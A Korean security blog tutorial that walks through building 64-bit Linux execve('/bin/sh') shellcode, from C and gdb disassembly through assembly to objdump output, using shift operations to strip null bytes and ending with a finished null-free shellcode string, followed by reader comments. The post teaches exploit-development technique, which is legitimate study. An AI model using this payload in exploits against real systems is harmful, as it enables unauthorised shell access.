12/19/2015

[SYSTEM HACKING] 64bit Linux Execve Shell Code 만들기(64bit Execve ShellCode & Remove Null Byte)

오늘은 64비트 쉘코드에 대한 이야기를 할까 합니다.
예전에 이쪽 분야 관심을 가졌을 초반 쯤에 32bit에 대한 쉘코드를 만들고 사용했었지만
지금은.. 일 특성상 딱히 쉘코드를 사용할 일이 굉장히 적어졌기에 간만에 보는 느낌입니다.
(써도..그냥 만들어진거 쓰는게 속이 편해요 ㅎㅎㅎㅎㅎㅎㅎ)

일단 32bit나 64bit나 직접 assembly 코드를 짜거나, C에서 변환하는 식으로 하는것이 좋습니다.

C를 기반으로 /bin/sh 실행 코드 작성하기(with Execve)

어디에서나 볼 수 있는 매우 간단한 execve를 활요하는 명령 실행 코드를 작성합니다.
어차피 system 함수나 뭘 쓰던 결국은 execve를 통해 시스템 콜을 요청하기 때문에 그냥 바로 execve로
하는게 속은 편하지요.

##shell.c

#include <stdlib.h>

int main()
{
    execve("/bin/sh",NULL,NULL);
}
매우 간단합니다. 그냥 execve 함수를 통해 /bin/sh를 실행하라고 하는 코드입니다.

Disassembling 하여 Assembly Code 확인하기


해당 코드를 gdb로 disassemble 하여 main 함수를 보면 다음과 같습니다.

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040050c <+0>:    push   %rbp
   0x000000000040050d <+1>:    mov    %rsp,%rbp
   0x0000000000400510 <+4>:    mov    $0x0,%edx
   0x0000000000400515 <+9>:    mov    $0x0,%esi
   0x000000000040051a <+14>:    mov    $0x4005dc,%edi
   0x000000000040051f <+19>:    callq  0x4003f0 <execve@plt>
   0x0000000000400524 <+24>:    pop    %rbp
   0x0000000000400525 <+25>:    retq 
End of assembler dump.


   0x000000000040050c <+0>:    push   %rbp
   0x000000000040050d <+1>:    mov    %rsp,%rbp
이 부분은 함수 프롤로그(시작) 부분과 같고,

   0x0000000000400510 <+4>:    mov    $0x0,%edx
   0x0000000000400515 <+9>:    mov    $0x0,%esi
   0x000000000040051a <+14>:    mov    $0x4005dc,%edi
이 부분이 우리가 함수를 사용하는 부분 중 인자값에 관련된 부분이 됩니다.

edx, esi에 0x0(NULL)으로 값을 세팅하고
edi에 0x4005dc를 세팅합니다. 0x4005dc는 명령으로 확인해보면
"/bin/sh"인 것을 알 수 있습니다.

(gdb) x/s 0x4005dc
0x4005dc:     "/bin/sh"

그리고 세팅된 인자값을 가지고 execve를 call합니다.
   0x000000000040051f <+19>:    callq  0x4003f0 <execve@plt>

execve는 시스템콜을 이용하여 호출할 수 있고 32비트는 11(0xb), 64비트는 59(0x59)로 정의되어 있습니다.
(이부분은 체크리스트 참고하시면 도움될듯해요)
[링크 추가]

여기서 우리가 필요한 부분은 인자값을 넣고 함수를 실행하는 부분인데요.

mov    $0x0,%edx
mov    $0x0,%esi
mov    $0x4005dc,%edi
mov    $59, $rax
syscall

이런식으로 가면 인자값을 넣고 함수 실행이 가능할 것으로 보입니다.
이 내용을 바탕으로 assem 코드를 작성하면 아래와 같은 모양이 나오겠지요.

Assembly Code 작성하기

아까 위에서 gdb를 통해서 확인한 데이터를 가지고 Assembly 코드를 작성합니다.

## shell.s

.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq $0     ;
pushq name   ; 

movq $59, %rax ; 
movq %rsp, %rdi ; 
movq $0, %rsi
movq $0, %rdx ;
syscall 

여기서 data section에 name이란 이름으로 /bin/sh를 넣어두고
.section .data

name: .string "/bin/sh"

rax에 시스템콜 넘버를 세팅하고, 나머지 자리에 인수를 세팅한 후

movq $59, %rax ;
movq %rsp, %rdi ;
movq $0, %rsi
movq $0, %rdx ;
syscall

syscall을 이용하여 명령을 실행합니다.

#> as -o shell.o shell.s
#> ld -o shell shell.o

실행파일로 만들어서 실행해보면 /bin/sh가 실행됨을 확인할 수 있습니다.

 HaHwul #> ./shell
# echo "This is /bin/sh"
This is /bin/sh
#

일단 Assembly 코드를 이용해 다시 컴파일 하고 실행하여서 /bin/sh가 실행되는것으로 보아
문제없이 잘 작성한 것으로 보이네요.

Objdump를 이용하여 기계어 확인하기

분석에서도 많이 사용되는 objdump를 이용해서 Assembly를 이용해 만든 실행파일을 까서 봅니다.
-d 옵션으로 볼 수 있지요 :)

 HaHwul #> objdump shell -d

shell:     file format elf64-x86-64


Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:    6a 00                    pushq  $0x0
  4000b2:    ff 34 25 d4 00 60 00     pushq  0x6000d4
  4000b9:    48 c7 c0 3b 00 00 00     mov    $0x3b,%rax
  4000c0:    48 89 e7                 mov    %rsp,%rdi
  4000c3:    48 c7 c6 00 00 00 00     mov    $0x0,%rsi
  4000ca:    48 c7 c2 00 00 00 00     mov    $0x0,%rdx
  4000d1:    0f 05                    syscall



일단 여기까지 확인한 데이터로 쉘코드로 사용이 가능은 합니다만..
strcpy 같이 문자열을 처리하는 함수중에 0x00을 만났을 시 끝 부분으로 인지하는 함수들이 많습니다.
그래서 좋은 쉘코드 작성을 위해서는 Null Byte(0x00)에 대한 제거가 필요합니다.

Null Byte 제거하기(Remove NullByte)

여러번의 테스트를 위해서 그냥 컴파일 과정+objdump까지 한 명령행으로 묶어 사용하면 조금 편합니다.
HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell


.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq name   
movq $59, %rax 
mov %rsp, %rdi 
movq $0, %rsi
movq $0, %rdx 
syscall

일단 굳이 필요없는 부분은 제거해도 될 것 같아 테스트하면서 좀 지워봤습니다.
일단 execve가 인자값이 3개로 넣어줬는데, 사실 이거 한개로도 동작이 가능하기 때문에..

rax에 system call number를 넘겨주고, 인자값 하나에만 명령행을 넘겨줘도 일단 동작은 가능합니다.
(주석 처리로 일단 제거처리)

 HaHwul #> cat shell.s
.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq name  
movq $59, %rax
mov %rsp, %rdi
#movq $0, %rsi
#movq $0, %rdx
syscall

 HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell

shell:     file format elf64-x86-64


Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:    ff 34 25 c4 00 60 00     pushq  0x6000c4
  4000b7:    48 c7 c0 3b 00 00 00     mov    $0x3b,%rax
  4000be:    48 89 e7                 mov    %rsp,%rdi
  4000c1:    0f 05                    syscall

   ┎ [ 02:49:24 : root ] [ /home/hahwul/test/diet ]
 HaHwul #> ./shell
# exit

코드길이가 쬐끔 줄었네요. 실행했을때도 별 이상이 없습니다.

이제 Null byte의 의치를 보면 pushq, 랑 2번째 mov에서 발생을합니다.

32bit는 xor로 가능하지만.. 64bit에서는 안타깝게도 불가능합니다.
xor %eax, %eax
movb 0xb, %al

해결을 위해서 여러가지 자료를 찾아봤습니다.
찾아보니 shift 연산을 이용하서 64bit에서도 null을 제거할 수 있는 방법이 있더군요.

 HaHwul #> cat shell.s

.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:
# pushq name
# string Null byte remove
movabs $0x1168732f6e69622f, %rbx
shl $0x08, %rbx
shr $0x08, %rbx
push %rbx

# movq $59, %rax
# rax(system call) Null Byte remove
movq $0x1111113b, %rax 
mov %rsp, %rdi 
shl $0x38, %rax
shr $0x38, %rax
syscall

Null이 발생하던 /bin/sh를 꺼내어 넣는부분과, eax에 system call을 주는 부분을 위와 같이
shift 연산을 통해 null이 없는 형태로 구현할 수 있습니다.
(이부분은 웹 페이지 참고를 많이 했네요.. 아직도 약간 헷갈리는 ..)
(# http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/ )

아까 테스트를 위해 사용하던 명령으로 컴파일 및 objdump로 확인을 하면

 HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell

shell:     file format elf64-x86-64


Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:    48 bb 2f 62 69 6e 2f     movabs $0x1168732f6e69622f,%rbx
  4000b7:    73 68 11
  4000ba:    48 c1 e3 08              shl    $0x8,%rbx
  4000be:    48 c1 eb 08              shr    $0x8,%rbx
  4000c2:    53                       push   %rbx
  4000c3:    48 c7 c0 3b 11 11 11     mov    $0x1111113b,%rax
  4000ca:    48 89 e7                 mov    %rsp,%rdi
  4000cd:    48 c1 e0 38              shl    $0x38,%rax
  4000d1:    48 c1 e8 38              shr    $0x38,%rax
  4000d5:    0f 05                    syscall

Null Byte가 사라진 것을 알 수 있습니다. (처음했을때 완전 기뻤했다죠 ㅎㅎㅎ)
정상 구동이 되는지 테스트를 해보면 /bin/sh가 실행되는 것을 확인할 수 있습니다.

 HaHwul #> ./shell
# ls
shell  shell.o    shell.s

이제 objdump로 보인 데이터를 shell code로 만들 시간이네요.
저 데이터를 순서대로 써주어 하나의 문자열을 만들면 됩니다. 처음엔 직접하는게 좋겠지만.. 점점 귀찮기 때문에 nasm과 hexdump로 쉽게 뽑아낼 수 있습니다.

길지 않으니 !표로 나누어 쓰고 대부분 텍스트에디터 기능에 있는 찾아 바꾸기 기능을 이용해서 \x로 바꿔주면 편합니다.

!48!bb!2f!62!69!6e!2f!73!68!11!48!c1!e3!08!48!c1!eb!08!53!48!c7!c0!3b!11!11!11!48!89!e7!48!c1!e0!38!48!c1!e8!38!0f!05

! -> \x


\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\xc7\xc0\x3b\x11\x11\x11\x48\x89\xe7\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05



32bit랑은 다른 부분이 있기에 알아두면 좋을 것 같습니다.
궁금하신 점은 댓글주세요. :)

Reference

http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/
http://research.hackerschool.org/Datas/Research_Lecture/sc_making.txt




HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

4 comments:

  1. 조금 고민해보니 쉬프트로 연산하는 방법을 배웠네요!! ㅋㅋ 감사합니다 :)

    ReplyDelete
    Replies
    1. 옛날글 다시 보니 뭔가 민망하네요.. 암튼 도움되셨다니 좋습니닷.
      감사합니다 :)

      Delete
    2. 질문이 있습니다
      어셈코드 중간에 mov rsi, rdi 하는건 왜그런거죠?

      Delete
    3. This comment has been removed by the author.

      Delete